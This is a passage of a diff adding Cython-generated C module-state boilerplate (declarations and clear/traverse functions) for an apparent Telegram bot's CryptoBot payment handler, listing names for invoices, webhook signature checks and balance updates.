*__pyx_n_s_types; + PyObject *__pyx_kp_s_types_CallbackQuery; + PyObject *__pyx_kp_s_types_Message; + PyObject *__pyx_n_s_typing; + PyObject *__pyx_n_s_update_balance; + PyObject *__pyx_n_s_update_data; + PyObject *__pyx_n_u_update_type; + PyObject *__pyx_n_s_url; + PyObject *__pyx_n_s_user_id; + PyObject *__pyx_kp_u_user_id_amount; + PyObject *__pyx_n_s_user_id_str; + PyObject *__pyx_n_s_waiting_for_payment_confirmation; + PyObject *__pyx_n_s_warning; + PyObject *__pyx_n_s_web; + PyObject *__pyx_float_0_0; + PyObject *__pyx_int_0; + PyObject *__pyx_int_1; + PyObject *__pyx_int_2; + PyObject *__pyx_int_200; + PyObject *__pyx_int_400; + PyObject *__pyx_int_500; + PyObject *__pyx_codeobj_; + PyObject *__pyx_tuple__4; + PyObject *__pyx_tuple__7; + PyObject *__pyx_tuple__23; + PyObject *__pyx_tuple__29; + PyObject *__pyx_tuple__35; + PyObject *__pyx_tuple__36; + PyObject *__pyx_tuple__37; + PyObject *__pyx_tuple__38; + PyObject *__pyx_tuple__39; + PyObject *__pyx_tuple__40; + PyObject *__pyx_tuple__41; + PyObject *__pyx_tuple__42; + PyObject *__pyx_codeobj__5; + PyObject *__pyx_codeobj__18; + PyObject *__pyx_codeobj__22; + PyObject *__pyx_codeobj__24; + PyObject *__pyx_codeobj__26; + PyObject *__pyx_codeobj__30; +} __pyx_mstate; + +#if CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_n_s_AioCryptoPay); + Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_n_u_CRYPTOSALE); + Py_CLEAR(clear_module_state->__pyx_n_s_CRYPTO_BOT_ENABLE); + Py_CLEAR(clear_module_state->__pyx_n_s_CRYPTO_BOT_TOKEN); + Py_CLEAR(clear_module_state->__pyx_kp_u_CRYPTO_HASH); + Py_CLEAR(clear_module_state->__pyx_kp_u_Crypto_Pay_Api_Signature); + Py_CLEAR(clear_module_state->__pyx_n_s_F); + Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_n_s_MAIN_NET); + Py_CLEAR(clear_module_state->__pyx_n_s_Networks); + Py_CLEAR(clear_module_state->__pyx_kp_u_No_value); + Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_CLEAR(clear_module_state->__pyx_n_s_PROJECTMANECONGIGURE); + Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_CLEAR(clear_module_state->__pyx_n_s_RUB_TO_USDT); + Py_CLEAR(clear_module_state->__pyx_n_s_ReplenishBalanceState); + Py_CLEAR(clear_module_state->__pyx_n_s_Response); + Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_n_s_State); + Py_CLEAR(clear_module_state->__pyx_n_s_StatesGroup); + Py_CLEAR(clear_module_state->__pyx_n_u_USDT); + Py_CLEAR(clear_module_state->__pyx_n_s_ValueError); + Py_CLEAR(clear_module_state->__pyx_kp_u__10); + Py_CLEAR(clear_module_state->__pyx_kp_u__11); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_n_u__13); + Py_CLEAR(clear_module_state->__pyx_kp_u__14); + Py_CLEAR(clear_module_state->__pyx_kp_u__15); + Py_CLEAR(clear_module_state->__pyx_kp_u__16); + Py_CLEAR(clear_module_state->__pyx_kp_u__17); + Py_CLEAR(clear_module_state->__pyx_kp_u__19); + Py_CLEAR(clear_module_state->__pyx_kp_u__2); + Py_CLEAR(clear_module_state->__pyx_kp_u__20); + Py_CLEAR(clear_module_state->__pyx_kp_u__21); + Py_CLEAR(clear_module_state->__pyx_kp_u__25); + Py_CLEAR(clear_module_state->__pyx_kp_u__27); + Py_CLEAR(clear_module_state->__pyx_kp_u__28); + Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_kp_u__31); + Py_CLEAR(clear_module_state->__pyx_kp_u__32); + Py_CLEAR(clear_module_state->__pyx_kp_u__33); + Py_CLEAR(clear_module_state->__pyx_kp_u__34); + Py_CLEAR(clear_module_state->__pyx_n_s__43); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); + Py_CLEAR(clear_module_state->__pyx_kp_u__8); + Py_CLEAR(clear_module_state->__pyx_kp_u__9); + Py_CLEAR(clear_module_state->__pyx_n_s_add_connection); + Py_CLEAR(clear_module_state->__pyx_n_s_add_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_aiocryptopay); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_context); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_state); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_aiohttp); + Py_CLEAR(clear_module_state->__pyx_n_s_amount); + Py_CLEAR(clear_module_state->__pyx_kp_u_amount_2); + Py_CLEAR(clear_module_state->__pyx_n_s_amount_str); + Py_CLEAR(clear_module_state->__pyx_n_s_answer); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asset); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_n_s_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_body_text); + Py_CLEAR(clear_module_state->__pyx_n_s_bot_invoice_url); + Py_CLEAR(clear_module_state->__pyx_n_u_bot_invoice_url); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_u_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_query); + Py_CLEAR(clear_module_state->__pyx_n_s_chat); + Py_CLEAR(clear_module_state->__pyx_n_s_check_connection_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_check_hash); + Py_CLEAR(clear_module_state->__pyx_n_s_check_signature); + Py_CLEAR(clear_module_state->__pyx_n_s_choosing_amount_crypto); + Py_CLEAR(clear_module_state->__pyx_n_s_class_getitem); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_n_s_config); + Py_CLEAR(clear_module_state->__pyx_n_s_create_invoice); + Py_CLEAR(clear_module_state->__pyx_n_u_crypto); + Py_CLEAR(clear_module_state->__pyx_n_s_crypto_2); + Py_CLEAR(clear_module_state->__pyx_kp_u_crypto_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_crypto_pay_signature); + Py_CLEAR(clear_module_state->__pyx_n_u_cryptobot); + Py_CLEAR(clear_module_state->__pyx_n_s_cryptobot_webhook); + Py_CLEAR(clear_module_state->__pyx_n_s_custom_payload); + Py_CLEAR(clear_module_state->__pyx_n_s_data); + Py_CLEAR(clear_module_state->__pyx_n_s_database); + Py_CLEAR(clear_module_state->__pyx_n_s_debug); + Py_CLEAR(clear_module_state->__pyx_n_s_description); + Py_CLEAR(clear_module_state->__pyx_n_s_dict); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_doc); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_u_enter_custom_amount_crypto); + Py_CLEAR(clear_module_state->__pyx_n_s_entering_custom_amount_crypto); + Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_s_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_expected_hash); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_get); + Py_CLEAR(clear_module_state->__pyx_n_s_get_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_cryprobot_pay); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_cryprobot_pay_2); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); + Py_CLEAR(clear_module_state->__pyx_kp_u_hash_cryptobot); + Py_CLEAR(clear_module_state->__pyx_n_s_headers); + Py_CLEAR(clear_module_state->__pyx_n_s_i); + Py_CLEAR(clear_module_state->__pyx_n_s_id); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_info); + Py_CLEAR(clear_module_state->__pyx_n_s_init_subclass); + Py_CLEAR(clear_module_state->__pyx_n_s_invoice); + Py_CLEAR(clear_module_state->__pyx_n_u_invoice_paid); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_n_s_isdigit); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_s_json); + Py_CLEAR(clear_module_state->__pyx_n_s_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_logger); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_message); + Py_CLEAR(clear_module_state->__pyx_n_s_metaclass); + Py_CLEAR(clear_module_state->__pyx_n_s_module); + Py_CLEAR(clear_module_state->__pyx_n_s_mro_entries); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_s_network); + Py_CLEAR(clear_module_state->__pyx_n_u_paid); + Py_CLEAR(clear_module_state->__pyx_n_u_pay); + Py_CLEAR(clear_module_state->__pyx_n_u_pay_cryptobot); + Py_CLEAR(clear_module_state->__pyx_n_s_payload); + Py_CLEAR(clear_module_state->__pyx_n_u_payload); + Py_CLEAR(clear_module_state->__pyx_n_s_prepare); + Py_CLEAR(clear_module_state->__pyx_n_s_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_n_s_process_callback_pay_cryptobot); + Py_CLEAR(clear_module_state->__pyx_n_s_process_crypto_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_n_s_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_qualname); + Py_CLEAR(clear_module_state->__pyx_n_s_range); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_request); + Py_CLEAR(clear_module_state->__pyx_n_s_router); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_CLEAR(clear_module_state->__pyx_n_s_session); + Py_CLEAR(clear_module_state->__pyx_n_s_set_name); + Py_CLEAR(clear_module_state->__pyx_n_s_set_state); + Py_CLEAR(clear_module_state->__pyx_kp_u_solonet_sup); + Py_CLEAR(clear_module_state->__pyx_n_s_split); + Py_CLEAR(clear_module_state->__pyx_n_s_startswith); + Py_CLEAR(clear_module_state->__pyx_n_s_state); + Py_CLEAR(clear_module_state->__pyx_n_s_status); + Py_CLEAR(clear_module_state->__pyx_n_u_status); + Py_CLEAR(clear_module_state->__pyx_n_s_super); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_u_text); + Py_CLEAR(clear_module_state->__pyx_n_s_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_token); + Py_CLEAR(clear_module_state->__pyx_n_s_trial); + Py_CLEAR(clear_module_state->__pyx_n_s_types); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_CallbackQuery); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_Message); + Py_CLEAR(clear_module_state->__pyx_n_s_typing); + Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_update_data); + Py_CLEAR(clear_module_state->__pyx_n_u_update_type); + Py_CLEAR(clear_module_state->__pyx_n_s_url); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id); + Py_CLEAR(clear_module_state->__pyx_kp_u_user_id_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id_str); + Py_CLEAR(clear_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_CLEAR(clear_module_state->__pyx_n_s_warning); + Py_CLEAR(clear_module_state->__pyx_n_s_web); + Py_CLEAR(clear_module_state->__pyx_float_0_0); + Py_CLEAR(clear_module_state->__pyx_int_0); + Py_CLEAR(clear_module_state->__pyx_int_1); + Py_CLEAR(clear_module_state->__pyx_int_2); + Py_CLEAR(clear_module_state->__pyx_int_200); + Py_CLEAR(clear_module_state->__pyx_int_400); + Py_CLEAR(clear_module_state->__pyx_int_500); + Py_CLEAR(clear_module_state->__pyx_codeobj_); + Py_CLEAR(clear_module_state->__pyx_tuple__4); + Py_CLEAR(clear_module_state->__pyx_tuple__7); + Py_CLEAR(clear_module_state->__pyx_tuple__23); + Py_CLEAR(clear_module_state->__pyx_tuple__29); + Py_CLEAR(clear_module_state->__pyx_tuple__35); + Py_CLEAR(clear_module_state->__pyx_tuple__36); + Py_CLEAR(clear_module_state->__pyx_tuple__37); + Py_CLEAR(clear_module_state->__pyx_tuple__38); + Py_CLEAR(clear_module_state->__pyx_tuple__39); + Py_CLEAR(clear_module_state->__pyx_tuple__40); + Py_CLEAR(clear_module_state->__pyx_tuple__41); + Py_CLEAR(clear_module_state->__pyx_tuple__42); + Py_CLEAR(clear_module_state->__pyx_codeobj__5); + Py_CLEAR(clear_module_state->__pyx_codeobj__18); + Py_CLEAR(clear_module_state->__pyx_codeobj__22); + Py_CLEAR(clear_module_state->__pyx_codeobj__24); + Py_CLEAR(clear_module_state->__pyx_codeobj__26); + Py_CLEAR(clear_module_state->__pyx_codeobj__30); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct__process_callback_pay_cryptobot); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_n_s_AioCryptoPay); + Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_n_u_CRYPTOSALE); + Py_VISIT(traverse_module_state->__pyx_n_s_CRYPTO_BOT_ENABLE); + Py_VISIT(traverse_module_state->__pyx_n_s_CRYPTO_BOT_TOKEN); + Py_VISIT(traverse_module_state->__pyx_kp_u_CRYPTO_HASH); + Py_VISIT(traverse_module_state->__pyx_kp_u_Crypto_Pay_Api_Signature); + Py_VISIT(traverse_module_state->__pyx_n_s_F); + Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_n_s_MAIN_NET); + Py_VISIT(traverse_module_state->__pyx_n_s_Networks); + Py_VISIT(traverse_module_state->__pyx_kp_u_No_value); + Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_VISIT(traverse_module_state->__pyx_n_s_PROJECTMANECONGIGURE); + Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_VISIT(traverse_module_state->__pyx_n_s_RUB_TO_USDT); + Py_VISIT(traverse_module_state->__pyx_n_s_ReplenishBalanceState); + Py_VISIT(traverse_module_state->__pyx_n_s_Response); + Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_n_s_State); + Py_VISIT(traverse_module_state->__pyx_n_s_StatesGroup); + Py_VISIT(traverse_module_state->__pyx_n_u_USDT); + Py_VISIT(traverse_module_state->__pyx_n_s_ValueError); + Py_VISIT(traverse_module_state->__pyx_kp_u__10); + Py_VISIT(traverse_module_state->__pyx_kp_u__11); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_n_u__13); + Py_VISIT(traverse_module_state->__pyx_kp_u__14); + Py_VISIT(traverse_module_state->__pyx_kp_u__15); + Py_VISIT(traverse_module_state->__pyx_kp_u__16); + Py_VISIT(traverse_module_state->__pyx_kp_u__17); + Py_VISIT(traverse_module_state->__pyx_kp_u__19); + Py_VISIT(traverse_module_state->__pyx_kp_u__2); + Py_VISIT(traverse_module_state->__pyx_kp_u__20); + Py_VISIT(traverse_module_state->__pyx_kp_u__21); + Py_VISIT(traverse_module_state->__pyx_kp_u__25); + Py_VISIT(traverse_module_state->__pyx_kp_u__27); + Py_VISIT(traverse_module_state->__pyx_kp_u__28); + Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_kp_u__31); + Py_VISIT(traverse_module_state->__pyx_kp_u__32); + Py_VISIT(traverse_module_state->__pyx_kp_u__33); + Py_VISIT(traverse_module_state->__pyx_kp_u__34); + Py_VISIT(traverse_module_state->__pyx_n_s__43); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); + Py_VISIT(traverse_module_state->__pyx_kp_u__8); + Py_VISIT(traverse_module_state->__pyx_kp_u__9); + Py_VISIT(traverse_module_state->__pyx_n_s_add_connection); + Py_VISIT(traverse_module_state->__pyx_n_s_add_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_aiocryptopay); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_context); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_state); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_aiohttp); + Py_VISIT(traverse_module_state->__pyx_n_s_amount); + Py_VISIT(traverse_module_state->__pyx_kp_u_amount_2); + Py_VISIT(traverse_module_state->__pyx_n_s_amount_str); + Py_VISIT(traverse_module_state->__pyx_n_s_answer); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asset); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_n_s_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_body_text); + Py_VISIT(traverse_module_state->__pyx_n_s_bot_invoice_url); + Py_VISIT(traverse_module_state->__pyx_n_u_bot_invoice_url); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_u_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_query); + Py_VISIT(traverse_module_state->__pyx_n_s_chat); + Py_VISIT(traverse_module_state->__pyx_n_s_check_connection_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_check_hash); + Py_VISIT(traverse_module_state->__pyx_n_s_check_signature); + Py_VISIT(traverse_module_state->__pyx_n_s_choosing_amount_crypto); + Py_VISIT(traverse_module_state->__pyx_n_s_class_getitem); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_n_s_config); + Py_VISIT(traverse_module_state->__pyx_n_s_create_invoice); + Py_VISIT(traverse_module_state->__pyx_n_u_crypto); + Py_VISIT(traverse_module_state->__pyx_n_s_crypto_2); + Py_VISIT(traverse_module_state->__pyx_kp_u_crypto_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_crypto_pay_signature); + Py_VISIT(traverse_module_state->__pyx_n_u_cryptobot); + Py_VISIT(traverse_module_state->__pyx_n_s_cryptobot_webhook); + Py_VISIT(traverse_module_state->__pyx_n_s_custom_payload); + Py_VISIT(traverse_module_state->__pyx_n_s_data); + Py_VISIT(traverse_module_state->__pyx_n_s_database); + Py_VISIT(traverse_module_state->__pyx_n_s_debug); + Py_VISIT(traverse_module_state->__pyx_n_s_description); + Py_VISIT(traverse_module_state->__pyx_n_s_dict); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_doc); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_u_enter_custom_amount_crypto); + Py_VISIT(traverse_module_state->__pyx_n_s_entering_custom_amount_crypto); + Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_s_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_expected_hash); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_get); + Py_VISIT(traverse_module_state->__pyx_n_s_get_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_cryprobot_pay); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_cryprobot_pay_2); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); + Py_VISIT(traverse_module_state->__pyx_kp_u_hash_cryptobot); + Py_VISIT(traverse_module_state->__pyx_n_s_headers); + Py_VISIT(traverse_module_state->__pyx_n_s_i); + Py_VISIT(traverse_module_state->__pyx_n_s_id); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_info); + Py_VISIT(traverse_module_state->__pyx_n_s_init_subclass); + Py_VISIT(traverse_module_state->__pyx_n_s_invoice); + Py_VISIT(traverse_module_state->__pyx_n_u_invoice_paid); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_n_s_isdigit); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_s_json); + Py_VISIT(traverse_module_state->__pyx_n_s_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_logger); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_message); + Py_VISIT(traverse_module_state->__pyx_n_s_metaclass); + Py_VISIT(traverse_module_state->__pyx_n_s_module); + Py_VISIT(traverse_module_state->__pyx_n_s_mro_entries); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_s_network); + Py_VISIT(traverse_module_state->__pyx_n_u_paid); + Py_VISIT(traverse_module_state->__pyx_n_u_pay); + Py_VISIT(traverse_module_state->__pyx_n_u_pay_cryptobot); + Py_VISIT(traverse_module_state->__pyx_n_s_payload); + Py_VISIT(traverse_module_state->__pyx_n_u_payload); + Py_VISIT(traverse_module_state->__pyx_n_s_prepare); + Py_VISIT(traverse_module_state->__pyx_n_s_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_n_s_process_callback_pay_cryptobot); + Py_VISIT(traverse_module_state->__pyx_n_s_process_crypto_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_n_s_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_qualname); + Py_VISIT(traverse_module_state->__pyx_n_s_range); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + 